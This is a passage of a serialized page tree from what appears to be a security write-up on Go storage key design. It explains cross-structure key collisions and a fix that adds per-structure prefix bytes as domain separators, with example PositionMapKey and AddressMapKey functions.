9,"value":84107},{"type":23,"tag":141,"props":85547,"children":85548},{"class":143,"line":22516},[85549],{"type":23,"tag":141,"props":85550,"children":85551},{"style":154},[85552],{"type":29,"value":22602},{"type":23,"tag":141,"props":85554,"children":85555},{"class":143,"line":22529},[85556,85560,85564,85568,85572,85577,85581,85585],{"type":23,"tag":141,"props":85557,"children":85558},{"style":750},[85559],{"type":29,"value":84077},{"type":23,"tag":141,"props":85561,"children":85562},{"style":154},[85563],{"type":29,"value":322},{"type":23,"tag":141,"props":85565,"children":85566},{"style":184},[85567],{"type":29,"value":84131},{"type":23,"tag":141,"props":85569,"children":85570},{"style":154},[85571],{"type":29,"value":192},{"type":23,"tag":141,"props":85573,"children":85574},{"style":750},[85575],{"type":29,"value":85576},"addressNameEncoded",{"type":23,"tag":141,"props":85578,"children":85579},{"style":154},[85580],{"type":29,"value":480},{"type":23,"tag":141,"props":85582,"children":85583},{"style":750},[85584],{"type":29,"value":85326},{"type":23,"tag":141,"props":85586,"children":85587},{"style":154},[85588],{"type":29,"value":758},{"type":23,"tag":141,"props":85590,"children":85591},{"class":143,"line":22542},[85592],{"type":23,"tag":141,"props":85593,"children":85594},{"emptyLinePlaceholder":15},[85595],{"type":29,"value":719},{"type":23,"tag":141,"props":85597,"children":85598},{"class":143,"line":22596},[85599,85603,85607,85611,85615,85619],{"type":23,"tag":141,"props":85600,"children":85601},{"style":750},[85602],{"type":29,"value":85160},{"type":23,"tag":141,"props":85604,"children":85605},{"style":160},[85606],{"type":29,"value":74901},{"type":23,"tag":141,"props":85608,"children":85609},{"style":750},[85610],{"type":29,"value":80719},{"type":23,"tag":141,"props":85612,"children":85613},{"style":154},[85614],{"type":29,"value":322},{"type":23,"tag":141,"props":85616,"children":85617},{"style":184},[85618],{"type":29,"value":83708},{"type":23,"tag":141,"props":85620,"children":85621},{"style":154},[85622],{"type":29,"value":2123},{"type":23,"tag":141,"props":85624,"children":85625},{"class":143,"line":22605},[85626,85630],{"type":23,"tag":141,"props":85627,"children":85628},{"style":828},[85629],{"type":29,"value":85188},{"type":23,"tag":141,"props":85631,"children":85632},{"style":154},[85633],{"type":29,"value":2168},{"type":23,"tag":141,"props":85635,"children":85636},{"class":143,"line":30749},[85637,85641],{"type":23,"tag":141,"props":85638,"children":85639},{"style":750},[85640],{"type":29,"value":85200},{"type":23,"tag":141,"props":85642,"children":85643},{"style":154},[85644],{"type":29,"value":2168},{"type":23,"tag":141,"props":85646,"children":85647},{"class":143,"line":30770},[85648,85652],{"type":23,"tag":141,"props":85649,"children":85650},{"style":750},[85651],{"type":29,"value":85212},{"type":23,"tag":141,"props":85653,"children":85654},{"style":154},[85655],{"type":29,"value":2168},{"type":23,"tag":141,"props":85657,"children":85658},{"class":143,"line":79436},[85659,85663],{"type":23,"tag":141,"props":85660,"children":85661},{"style":750},[85662],{"type":29,"value":85224},{"type":23,"tag":141,"props":85664,"children":85665},{"style":154},[85666],{"type":29,"value":2168},{"type":23,"tag":141,"props":85668,"children":85669},{"class":143,"line":79449},[85670,85674],{"type":23,"tag":141,"props":85671,"children":85672},{"style":750},[85673],{"type":29,"value":85212},{"type":23,"tag":141,"props":85675,"children":85676},{"style":154},[85677],{"type":29,"value":2168},{"type":23,"tag":141,"props":85679,"children":85680},{"class":143,"line":79457},[85681,85686],{"type":23,"tag":141,"props":85682,"children":85683},{"style":750},[85684],{"type":29,"value":85685}," addressNameEncoded",{"type":23,"tag":141,"props":85687,"children":85688},{"style":154},[85689],{"type":29,"value":2168},{"type":23,"tag":141,"props":85691,"children":85692},{"class":143,"line":79465},[85693],{"type":23,"tag":141,"props":85694,"children":85695},{"style":154},[85696],{"type":29,"value":22602},{"type":23,"tag":141,"props":85698,"children":85699},{"class":143,"line":79473},[85700],{"type":23,"tag":141,"props":85701,"children":85702},{"style":154},[85703],{"type":29,"value":2573},{"type":23,"tag":32,"props":85705,"children":85706},{},[85707,85709,85714],{"type":29,"value":85708},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":23,"tag":38,"props":85710,"children":85712},{"className":85711},[],[85713],{"type":29,"value":83462},{"type":29,"value":85715},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":23,"tag":131,"props":85717,"children":85719},{"code":85718},"vaultId = 1, username = \"a\", positionName = \"b\"\n => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n => AddressMapKey = \"1|a||b\"\n",[85720],{"type":23,"tag":38,"props":85721,"children":85722},{"__ignoreMap":7},[85723],{"type":29,"value":85718},{"type":23,"tag":32,"props":85725,"children":85726},{},[85727],{"type":29,"value":85728},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":23,"tag":131,"props":85730,"children":85732},{"code":85731,"language":74649,"meta":7,"className":74650,"style":7},"const (\n Seperator = \"|\"\n PositionMapPrefix = \"\\x01\"\n AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n PositionMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n AddressMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[85733],{"type":23,"tag":38,"props":85734,"children":85735},{"__ignoreMap":7},[85736,85747,85762,85789,85814,85821,85828,85835,85850,85865,85892,85915,85934,85949,85984,85991,86026,86033,86052,86067,86102,86109,86144,86151,86178,86190,86202,86213,86224,86235,86246,86257,86264,86271,86278,86285,86300,86315,86342,86365,86384,86399,86434,86441,86476,86483,86502,86517,86552,86559,86594,86601,86628,86639,86651,86662,86673,86684,86695,86706,86714],{"type":23,"tag":141,"props":85737,"children":85738},{"class":143,"line":144},[85739,85743],{"type":23,"tag":141,"props":85740,"children":85741},{"style":449},[85742],{"type":29,"value":8334},{"type":23,"tag":141,"props":85744,"children":85745},{"style":154},[85746],{"type":29,"value":77051},{"type":23,"tag":141,"props":85748,"children":85749},{"class":143,"line":180},[85750,85754,85758],{"type":23,"tag":141,"props":85751,"children":85752},{"style":750},[85753],{"type":29,"value":83816},{"type":23,"tag":141,"props":85755,"children":85756},{"style":160},[85757],{"type":29,"value":1674},{"type":23,"tag":141,"props":85759,"children":85760},{"style":828},[85761],{"type":29,"value":83825},{"type":23,"tag":141,"props":85763,"children":85764},{"class":143,"line":205},[85765,85770,85774,85779,85784],{"type":23,"tag":141,"props":85766,"children":85767},{"style":750},[85768],{"type":29,"value":85769}," PositionMapPrefix",{"type":23,"tag":141,"props":85771,"children":85772},{"style":160},[85773],{"type":29,"value":1674},{"type":23,"tag":141,"props":85775,"children":85776},{"style":828},[85777],{"type":29,"value":85778}," \"",{"type":23,"tag":141,"props":85780,"children":85781},{"style":46851},[85782],{"type":29,"value":85783},"\\x01",{"type":23,"tag":141,"props":85785,"children":85786},{"style":828},[85787],{"type":29,"value":85788},"\"\n",{"type":23,"tag":141,"props":85790,"children":85791},{"class":143,"line":218},[85792,85797,85801,85805,85810],{"type":23,"tag":141,"props":85793,"children":85794},{"style":750},[85795],{"type":29,"value":85796}," AddressMapPrefix",{"type":23,"tag":141,"props":85798,"children":85799},{"style":160},[85800],{"type":29,"value":1674},{"type":23,"tag":141,"props":85802,"children":85803},{"style":828},[85804],{"type":29,"value":85778},{"type":23,"tag":141,"props":85806,"children":85807},{"style":46851},[85808],{"type":29,"value":85809},"\\x02",{"type":23,"tag":141,"props":85811,"children":85812},{"style":828},[85813],{"type":29,"value":85788},{"type":23,"tag":141,"props":85815,"children":85816},{"class":143,"line":227},[85817],{"type":23,"tag":141,"props":85818,"children":85819},{"style":154},[85820],{"type":29,"value":758},{"type":23,"tag":141,"props":85822,"children":85823},{"class":143,"line":241},[85824],{"type":23,"tag":141,"props":85825,"children":85826},{"emptyLinePlaceholder":15},[85827],{"type":29,"value":719},{"type":23,"tag":141,"props":85829,"children":85830},{"class":143,"line":262},[85831],{"type":23,"tag":141,"props":85832,"children":85833},{"emptyLinePlaceholder":15},[85834],{"type":29,"value":719},{"type":23,"tag":141,"props":85836,"children":85837},{"class":143,"line":271},[85838,85842,85846],{"type":23,"tag":141,"props":85839,"children":85840},{"style":449},[85841],{"type":29,"value":74785},{"type":23,"tag":141,"props":85843,"children":85844},{"style":184},[85845],{"type":29,"value":84844},{"type":23,"tag":141,"props":85847,"children":85848},{"style":154},[85849],{"type":29,"value":2123},{"type":23,"tag":141,"props":85851,"children":85852},{"class":143,"line":293},[85853,85857,85861],{"type":23,"tag":141,"props":85854,"children":85855},{"style":750},[85856],{"type":29,"value":83732},{"type":23,"tag":141,"props":85858,"children":85859},{"style":725},[85860],{"type":29,"value":74906},{"type":23,"tag":141,"props":85862,"children":85863},{"style":154},[85864],{"type":29,"value":2168},{"type":23,"tag":141,"props":85866,"children":85867},{"class":143,"line":801},[85868,85872,85876,85880,85884,85888],{"type":23,"tag":141,"props":85869,"children":85870},{"style":750},[85871],{"type":29,"value":83744},{"type":23,"tag":141,"props":85873,"children":85874},{"style":154},[85875],{"type":29,"value":480},{"type":23,"tag":141,"props":85877,"children":85878},{"style":750},[85879],{"type":29,"value":84225},{"type":23,"tag":141,"props":85881,"children":85882},{"style":154},[85883],{"type":29,"value":74712},{"type":23,"tag":141,"props":85885,"children":85886},{"style":725},[85887],{"type":29,"value":83250},{"type":23,"tag":141,"props":85889,"children":85890},{"style":154},[85891],{"type":29,"value":2168},{"type":23,"tag":141,"props":85893,"children":85894},{"class":143,"line":810},[85895,85899,85903,85907,85911],{"type":23,"tag":141,"props":85896,"children":85897},{"style":154},[85898],{"type":29,"value":74867},{"type":23,"tag":141,"props":85900,"children":85901},{"style":750},[85902],{"type":29,"value":70639},{"type":23,"tag":141,"props":85904,"children":85905},{"style":154},[85906],{"type":29,"value":74712},{"type":23,"tag":141,"props":85908,"children":85909},{"style":725},[85910],{"type":29,"value":83250},{"type":23,"tag":141,"props":85912,"children":85913},{"style":154},[85914],{"type":29,"value":13480},{"type":23,"tag":141,"props":85916,"children":85917},{"class":143,"line":824},[85918,85922,85926,85930],{"type":23,"tag":141,"props":85919,"children":85920},{"style":750},[85921],{"type":29,"value":84346},{"type":23,"tag":141,"props":85923,"children":85924},{"style":160},[85925],{"type":29,"value":74901},{"type":23,"tag":141,"props":85927,"children":85928},{"style":184},[85929],{"type":29,"value":84049},{"type":23,"tag":141,"props":85931,"children":85932},{"style":154},[85933],{"type":29,"value":2123},{"type":23,"tag":141,"props":85935,"children":85936},{"class":143,"line":839},[85937,85941,85945],{"type":23,"tag":141,"props":85938,"children":85939},{"style":154},[85940],{"type":29,"value":84940},{"type":23,"tag":141,"props":85942,"children":85943},{"style":725},[85944],{"type":29,"value":83250},{"type":23,"tag":141,"props":85946,"children":85947},{"style":154},[85948],{"type":29,"value":2168},{"type":23,"tag":141,"props":85950,"children":85951},{"class":143,"line":848},[85952,85956,85960,85964,85968,85972,85976,85980],{"type":23,"tag":141,"props":85953,"children":85954},{"style":750},[85955],{"type":29,"value":84956},{"type":23,"tag":141,"props":85957,"children":85958},{"style":154},[85959],{"type":29,"value":322},{"type":23,"tag":141,"props":85961,"children":85962},{"style":184},[85963],{"type":29,"value":84086},{"type":23,"tag":141,"props":85965,"children":85966},{"style":154},[85967],{"type":29,"value":192},{"type":23,"tag":141,"props":85969,"children":85970},{"style":184},[85971],{"type":29,"value":7817},{"type":23,"tag":141,"props":85973,"children":85974},{"style":154},[85975],{"type":29,"value":192},{"type":23,"tag":141,"props":85977,"children":85978},{"style":750},[85979],{"type":29,"value":83956},{"type":23,"tag":141,"props":85981,"children":85982},{"style":154},[85983],{"type":29,"value":84107},{"type":23,"tag":141,"props":85985,"children":85986},{"class":143,"line":2304},[85987],{"type":23,"tag":141,"props":85988,"children":85989},{"style":154},[85990],{"type":29,"value":22602},{"type":23,"tag":141,"props":85992,"children":85993},{"class":143,"line":2313},[85994,85998,86002,86006,86010,86014,86018,86022],{"type":23,"tag":141,"props":85995,"children":85996},{"style":750},[85997],{"type":29,"value":84077},{"type":23,"tag":141,"props":85999,"children":86000},{"style":154},[86001],{"type":29,"value":322},{"type":23,"tag":141,"props":86003,"children":86004},{"style":184},[86005],{"type":29,"value":84131},{"type":23,"tag":141,"props":86007,"children":86008},{"style":154},[86009],{"type":29,"value":192},{"type":23,"tag":141,"props":86011,"children":86012},{"style":750},[86013],{"type":29,"value":84040},{"type":23,"tag":141,"props":86015,"children":86016},{"style":154},[86017],{"type":29,"value":480},{"type":23,"tag":141,"props":86019,"children":86020},{"style":750},[86021],{"type":29,"value":83956},{"type":23,"tag":141,"props":86023,"children":86024},{"style":154},[86025],{"type":29,"value":758},{"type":23,"tag":141,"props":86027,"children":86028},{"class":143,"line":2335},[86029],{"type":23,"tag":141,"props":86030,"children":86031},{"emptyLinePlaceholder":15},[86032],{"type":29,"value":719},{"type":23,"tag":141,"props":86034,"children":86035},{"class":143,"line":2343},[86036,86040,86044,86048],{"type":23,"tag":141,"props":86037,"children":86038},{"style":750},[86039],{"type":29,"value":85041},{"type":23,"tag":141,"props":86041,"children":86042},{"style":160},[86043],{"type":29,"value":74901},{"type":23,"tag":141,"props":86045,"children":86046},{"style":184},[86047],{"type":29,"value":84049},{"type":23,"tag":141,"props":86049,"children":86050},{"style":154},[86051],{"type":29,"value":2123},{"type":23,"tag":141,"props":86053,"children":86054},{"class":143,"line":2352},[86055,86059,86063],{"type":23,"tag":141,"props":86056,"children":86057},{"style":154},[86058],{"type":29,"value":84940},{"type":23,"tag":141,"props":86060,"children":86061},{"style":725},[86062],{"type":29,"value":83250},{"type":23,"tag":141,"props":86064,"children":86065},{"style":154},[86066],{"type":29,"value":2168},{"type":23,"tag":141,"props":86068,"children":86069},{"class":143,"line":2421},[86070,86074,86078,86082,86086,86090,86094,86098],{"type":23,"tag":141,"props":86071,"children":86072},{"style":750},[86073],{"type":29,"value":84956},{"type":23,"tag":141,"props":86075,"children":86076},{"style":154},[86077],{"type":29,"value":322},{"type":23,"tag":141,"props":86079,"children":86080},{"style":184},[86081],{"type":29,"value":84086},{"type":23,"tag":141,"props":86083,"children":86084},{"style":154},[86085],{"type":29,"value":192},{"type":23,"tag":141,"props":86087,"children":86088},{"style":184},[86089],{"type":29,"value":7817},{"type":23,"tag":141,"props":86091,"children":86092},{"style":154},[86093],{"type":29,"value":192},{"type":23,"tag":141,"props":86095,"children":86096},{"style":750},[86097],{"type":29,"value":84225},{"type":23,"tag":141,"props":86099,"children":86100},{"style":154},[86101],{"type":29,"value":84107},{"type":23,"tag":141,"props":86103,"children":86104},{"class":143,"line":2429},[86105],{"type":23,"tag":141,"props":86106,"children":86107},{"style":154},[86108],{"type":29,"value":22602},{"type":23,"tag":141,"props":86110,"children":86111},{"class":143,"line":2459},[86112,86116,86120,86124,86128,86132,86136,86140],{"type":23,"tag":141,"props":86113,"children":86114},{"style":750},[86115],{"type":29,"value":84077},{"type":23,"tag":141,"props":86117,"children":86118},{"style":154},[86119],{"type":29,"value":322},{"type":23,"tag":141,"props":86121,"children":86122},{"style":184},[86123],{"type":29,"value":84131},{"type":23,"tag":141,"props":86125,"children":86126},{"style":154},[86127],{"type":29,"value":192},{"type":23,"tag":141,"props":86129,"children":86130},{"style":750},[86131],{"type":29,"value":84166},{"type":23,"tag":141,"props":86133,"children":86134},{"style":154},[86135],{"type":29,"value":480},{"type":23,"tag":141,"props":86137,"children":86138},{"style":750},[86139],{"type":29,"value":84225},{"type":23,"tag":141,"props":86141,"children":86142},{"style":154},[86143],{"type":29,"value":758},{"type":23,"tag":141,"props":86145,"children":86146},{"class":143,"line":2467},[86147],{"type":23,"tag":141,"props":86148,"children":86149},{"emptyLinePlaceholder":15},[86150],{"type":29,"value":719},{"type":23,"tag":141,"props":86152,"children":86153},{"class":143,"line":2499},[86154,86158,86162,86166,86170,86174],{"type":23,"tag":141,"props":86155,"children":86156},{"style":750},[86157],{"type":29,"value":85160},{"type":23,"tag":141,"props":86159,"children":86160},{"style":160},[86161],{"type":29,"value":74901},{"type":23,"tag":141,"props":86163,"children":86164},{"style":750},[86165],{"type":29,"value":80719},{"type":23,"tag":141,"props":86167,"children":86168},{"style":154},[86169],{"type":29,"value":322},{"type":23,"tag":141,"props":86171,"children":86172},{"style":184},[86173],{"type":29,"value":83708},{"type":23,"tag":141,"props":86175,"children":86176},{"style":154},[86177],{"type":29,"value":2123},{"type":23,"tag":141,"props":86179,"children":86180},{"class":143,"line":2507},[86181,86186],{"type":23,"tag":141,"props":86182,"children":86183},{"style":828},[86184],{"type":29,"value":86185}," \"%s%d%s%s%s%s\"",{"type":23,"tag":141,"props":86187,"children":86188},{"style":154},[86189],{"type":29,"value":2168},{"type":23,"tag":141,"props":86191,"children":86192},{"class":143,"line":2567},[86193,86198],{"type":23,"tag":141,"props":86194,"children":86195},{"style":750},[86196],{"type":29,"value":86197}," PositionMapPrefix",{"type":23,"tag":141,"props":86199,"children":86200},{"style":154},[86201],{"type":29,"value":2168},{"type":23,"tag":141,"props":86203,"children":86204},{"class":143,"line":7724},[86205,86209],{"type":23,"tag":141,"props":86206,"children":86207},{"style":750},[86208],{"type":29,"value":85200},{"type":23,"tag":141,"props":86210,"children":86211},{"style":154},[86212],{"type":29,"value":2168},{"type":23,"tag":141,"props":86214,"children":86215},{"class":143,"line":7742},[86216,86220],{"type":23,"tag":141,"props":86217,"children":86218},{"style":750},[86219],{"type":29,"value":85212},{"type":23,"tag":141,"props":86221,"children":86222},{"style":154},[86223],{"type":29,"value":2168},{"type":23,"tag":141,"props":86225,"children":86226},{"class":143,"line":7787},[86227,86231],{"type":23,"tag":141,"props":86228,"children":86229},{"style":750},[86230],{"type":29,"value":85224},{"type":23,"tag":141,"props":86232,"children":86233},{"style":154},[86234],{"type":29,"value":2168},{"type":23,"tag":141,"props":86236,"children":86237},{"class":143,"line":7893},[86238,86242],{"type":23,"tag":141,"props":86239,"children":86240},{"style":750},[86241],{"type":29,"value":85212},{"type":23,"tag":141,"props":86243,"children":86244},{"style":154},[86245],{"type":29,"value":2168},{"type":23,"tag":141,"props":86247,"children":86248},{"class":143,"line":22181},[86249,86253],{"type":23,"tag":141,"props":86250,"children":86251},{"style":750},[86252],{"type":29,"value":85247},{"type":23,"tag":141,"props":86254,"children":86255},{"style":154},[86256],{"type":29,"value":2168},{"type":23,"tag":141,"props":86258,"children":86259},{"class":143,"line":22216},[86260],{"type":23,"tag":141,"props":86261,"children":86262},{"style":154},[86263],{"type":29,"value":22602},{"type":23,"tag":141,"props":86265,"children":86266},{"class":143,"line":22224},[86267],{"type":23,"tag":141,"props":86268,"children":86269},{"style":154},[86270],{"type":29,"value":2573},{"type":23,"tag":141,"props":86272,"children":86273},{"class":143,"line":22232},[86274],{"type":23,"tag":141,"props":86275,"children":86276},{"emptyLinePlaceholder":15},[86277],{"type":29,"value":719},{"type":23,"tag":141,"props":86279,"children":86280},{"class":143,"line":22241},[86281],{"type":23,"tag":141,"props":86282,"children":86283},{"emptyLinePlaceholder":15},[86284],{"type":29,"value":719},{"type":23,"tag":141,"props":86286,"children":86287},{"class":143,"line":22283},[86288,86292,86296],{"type":23,"tag":141,"props":86289,"children":86290},{"style":449},[86291],{"type":29,"value":74785},{"type":23,"tag":141,"props":86293,"children":86294},{"style":184},[86295],{"type":29,"value":85291},{"type":23,"tag":141,"props":86297,"children":86298},{"style":154},[86299],{"type":29,"value":2123},{"type":23,"tag":141,"props":86301,"children":86302},{"class":143,"line":22316},[86303,86307,86311],{"type":23,"tag":141,"props":86304,"children":86305},{"style":750},[86306],{"type":29,"value":83732},{"type":23,"tag":141,"props":86308,"children":86309},{"style":725},[86310],{"type":29,"value":74906},{"type":23,"tag":141,"props":86312,"children":86313},{"style":154},[86314],{"type":29,"value":2168},{"type":23,"tag":141,"props":86316,"children":86317},{"class":143,"line":22324},[86318,86322,86326,86330,86334,86338],{"type":23,"tag":141,"props":86319,"children":86320},{"style":750},[86321],{"type":29,"value":83744},{"type":23,"tag":141,"props":86323,"children":86324},{"style":154},[86325],{"type":29,"value":480},{"type":23,"tag":141,"props":86327,"children":86328},{"style":750},[86329],{"type":29,"value":85326},{"type":23,"tag":141,"props":86331,"children":86332},{"style":154},[86333],{"type":29,"value":74712},{"type":23,"tag":141,"props":86335,"children":86336},{"style":725},[86337],{"type":29,"value":83250},{"type":23,"tag":141,"props":86339,"children":86340},{"style":154},[86341],{"type":29,"value":2168},{"type":23,"tag":141,"props":86343,"children":86344},{"class":143,"line":22332},[86345,86349,86353,86357,86361],{"type":23,"tag":141,"props":86346,"children":86347},{"style":154},[86348],{"type":29,"value":74867},{"type":23,"tag":141,"props":86350,"children":86351},{"style":750},[86352],{"type":29,"value":70639},{"type":23,"tag":141,"props":86354,"children":86355},{"style":154},[86356],{"type":29,"value":74712},{"type":23,"tag":141,"props":86358,"children":86359},{"style":725},[86360],{"type":29,"value":83250},{"type":23,"tag":141,"props":86362,"children":86363},{"style":154},[86364],{"type":29,"value":13480},{"type":23,"tag":141,"props":86366,"children":86367},{"class":143,"line":22341},[86368,86372,86376,86380],{"type":23,"tag":141,"props":86369,"children":86370},{"style":750},[86371],{"type":29,"value":84346},{"type":23,"tag":141,"props":86373,"children":86374},{"style":160},[86375],{"type":29,"value":74901},{"type":23,"tag":141,"props":86377,"children":86378},{"style":184},[86379],{"type":29,"value":84049},{"type":23,"tag":141,"props":86381,"children":86382},{"style":154},[86383],{"type":29,"value":2123},{"type":23,"tag":141,"props":86385,"children":86386},{"class":143,"line":22417},[86387,86391,86395],{"type":23,"tag":141,"props":86388,"children":86389},{"style":154},[86390],{"type":29,"value":84940},{"type":23,"tag":141,"props":86392,"children":86393},{"style":725},[86394],{"type":29,"value":83250},{"type":23,"tag":141,"props":86396,"children":86397},{"style":154},[86398],{"type":29,"value":2168},{"type":23,"tag":141,"props":86400,"children":86401},{"class":143,"line":22450},[86402,86406,86410,86414,86418,86422,86426,86430],{"type":23,"tag":141,"props":86403,"children":86404},{"style":750},[86405],{"type":29,"value":84956},{"type":23,"tag":141,"props":86407,"children":86408},{"style":154},[86409],{"type":29,"value":322},{"type":23,"tag":141,"props":86411,"children":86412},{"style":184},[86413],{"type":29,"value":84086},{"type":23,"tag":141,"props":86415,"children":86416},{"style":154},[86417],{"type":29,"value":192},{"type":23,"tag":141,"props":86419,"children":86420},{"style":184},[86421],{"type":29,"value":7817},{"type":23,"tag":141,"props":86423,"children":86424},{"style":154},[86425],{"type":29,"value":192},{"type":23,"tag":141,"props":86427,"children":86428},{"style":750},[86429],{"type":29,"value":83956},{"type":23,"tag":141,"props":86431,"children":86432},{"style":154},[86433],{"type":29,"value":84107},{"type":23,"tag":141,"props":86435,"children":86436},{"class":143,"line":22458},[86437],{"type":23,"tag":141,"props":86438,"children":86439},{"style":154},[86440],{"type":29,"value":22602},{"type":23,"tag":141,"props":86442,"children":86443},{"class":143,"line":22466},[86444,86448,86452,86456,86460,86464,86468,86472],{"type":23,"tag":141,"props":86445,"children":86446},{"style":750},[86447],{"type":29,"value":84077},{"type":23,"tag":141,"props":86449,"children":86450},{"style":154},[86451],{"type":29,"value":322},{"type":23,"tag":141,"props":86453,"children":86454},{"style":184},[86455],{"type":29,"value":84131},{"type":23,"tag":141,"props":86457,"children":86458},{"style":154},[86459],{"type":29,"value":192},{"type":23,"tag":141,"props":86461,"children":86462},{"style":750},[86463],{"type":29,"value":84040},{"type":23,"tag":141,"props":86465,"children":86466},{"style":154},[86467],{"type":29,"value":480},{"type":23,"tag":141,"props":86469,"children":86470},{"style":750},[86471],{"type":29,"value":83956},{"type":23,"tag":141,"props":86473,"children":86474},{"style":154},[86475],{"type":29,"value":758},{"type":23,"tag":141,"props":86477,"children":86478},{"class":143,"line":22503},[86479],{"type":23,"tag":141,"props":86480,"children":86481},{"emptyLinePlaceholder":15},[86482],{"type":29,"value":719},{"type":23,"tag":141,"props":86484,"children":86485},{"class":143,"line":22516},[86486,86490,86494,86498],{"type":23,"tag":141,"props":86487,"children":86488},{"style":750},[86489],{"type":29,"value":85483},{"type":23,"tag":141,"props":86491,"children":86492},{"style":160},[86493],{"type":29,"value":74901},{"type":23,"tag":141,"props":86495,"children":86496},{"style":184},[86497],{"type":29,"value":84049},{"type":23,"tag":141,"props":86499,"children":86500},{"style":154},[86501],{"type":29,"value":2123},{"type":23,"tag":141,"props":86503,"children":86504},{"class":143,"line":22529},[86505,86509,86513],{"type":23,"tag":141,"props":86506,"children":86507},{"style":154},[86508],{"type":29,"value":84940},{"type":23,"tag":141,"props":86510,"children":86511},{"style":725},[86512],{"type":29,"value":83250},{"type":23,"tag":141,"props":86514,"children":86515},{"style":154},[86516],{"type":29,"value":2168},{"type":23,"tag":141,"props":86518,"children":86519},{"class":143,"line":22542},[86520,86524,86528,86532,86536,86540,86544,86548],{"type":23,"tag":141,"props":86521,"children":86522},{"style":750},[86523],{"type":29,"value":84956},{"type":23,"tag":141,"props":86525,"children":86526},{"style":154},[86527],{"type":29,"value":322},{"type":23,"tag":141,"props":86529,"children":86530},{"style":184},[86531],{"type":29,"value":84086},{"type":23,"tag":141,"props":86533,"children":86534},{"style":154},[86535],{"type":29,"value":192},{"type":23,"tag":141,"props":86537,"children":86538},{"style":184},[86539],{"type":29,"value":7817},{"type":23,"tag":141,"props":86541,"children":86542},{"style":154},[86543],{"type":29,"value":192},{"type":23,"tag":141,"props":86545,"children":86546},{"style":750},[86547],{"type":29,"value":85326},{"type":23,"tag":141,"props":86549,"children":86550},{"style":154},[86551],{"type":29,"value":84107},{"type":23,"tag":141,"props":86553,"children":86554},{"class":143,"line":22596},[86555],{"type":23,"tag":141,"props":86556,"children":86557},{"style":154},[86558],{"type":29,"value":22602},{"type":23,"tag":141,"props":86560,"children":86561},{"class":143,"line":22605},[86562,86566,86570,86574,86578,86582,86586,86590],{"type":23,"tag":141,"props":86563,"children":86564},{"style":750},[86565],{"type":29,"value":84077},{"type":23,"tag":141,"props":86567,"children":86568},{"style":154},[86569],{"type":29,"value":322},{"type":23,"tag":141,"props":86571,"children":86572},{"style":184},[86573],{"type":29,"value":84131},{"type":23,"tag":141,"props":86575,"children":86576},{"style":154},[86577],{"type":29,"value":192},{"type":23,"tag":141,"props":86579,"children":86580},{"style":750},[86581],{"type":29,"value":85576},{"type":23,"tag":141,"props":86583,"children":86584},{"style":154},[86585],{"type":29,"value":480},{"type":23,"tag":141,"props":86587,"children":86588},{"style":750},[86589],{"type":29,"value":85326},{"type":23,"tag":141,"props":86591,"children":86592},{"style":154},[86593],{"type":29,"value":758},{"type":23,"tag":141,"props":86595,"children":86596},{"class":143,"line":30749},[86597],{"type":23,"tag":141,"props":86598,"children":86599},{"emptyLinePlaceholder":15},[86600],{"type":29,"value":719},{"type":23,"tag":141,"props":86602,"children":86603},{"class":143,"line":30770},[86604,86608,86612,86616,86620,86624],{"type":23,"tag":141,"props":86605,"children":86606},{"style":750},[86607],{"type":29,"value":85160},{"type":23,"tag":141,"props":86609,"children":86610},{"style":160},[86611],{"type":29,"value":74901},{"type":23,"tag":141,"props":86613,"children":86614},{"style":750},[86615],{"type":29,"value":80719},{"type":23,"tag":141,"props":86617,"children":86618},{"style":154},[86619],{"type":29,"value":322},{"type":23,"tag":141,"props":86621,"children":86622},{"style":184},[86623],{"type":29,"value":83708},{"type":23,"tag":141,"props":86625,"children":86626},{"style":154},[86627],{"type":29,"value":2123},{"type":23,"tag":141,"props":86629,"children":86630},{"class":143,"line":79436},[86631,86635],{"type":23,"tag":141,"props":86632,"children":86633},{"style":828},[86634],{"type":29,"value":86185},{"type":23,"tag":141,"props":86636,"children":86637},{"style":154},[86638],{"type":29,"value":2168},{"type":23,"tag":141,"props":86640,"children":86641},{"class":143,"line":79449},[86642,86647],{"type":23,"tag":141,"props":86643,"children":86644},{"style":750},[86645],{"type":29,"value":86646}," AddressMapPrefix",{"type":23,"tag":141,"props":86648,"children":86649},{"style":154},[86650],{"type":29,"value":2168},{"type":23,"tag":141,"props":86652,"children":86653},{"class":143,"line":79457},[86654,86658],{"type":23,"tag":141,"props":86655,"children":86656},{"style":750},[86657],{"type":29,"value":85200},{"type":23,"tag":141,"props":86659,"children":86660},{"style":154},[86661],{"type":29,"value":2168},{"type":23,"tag":141,"props":86663,"children":86664},{"class":143,"line":79465},[86665,86669],{"type":23,"tag":141,"props":86666,"children":86667},{"style":750},[86668],{"type":29,"value":85212},{"type":23,"tag":141,"props":86670,"children":86671},{"style":154},[86672],{"type":29,"value":2168},{"type":23,"tag":141,"props":86674,"children":86675},{"class":143,"line":79473},[86676,86680],{"type":23,"tag":141,"props":86677,"children":86678},{"style":750},[86679],{"type":29,"value":85224},{"type":23,"tag":141,"props":86681,"children":86682},{"style":154},[86683],{"type":29,"value":2168},{"type":23,"tag":141,"props":86685,"children":86686},{"class":143,"line":79513},[86687,86691],{"type":23,"tag":141,"props":86688,"children":86689},{"style":750},[86690],{"type":29,"value":85212},{"type":23,"tag":141,"props":86692,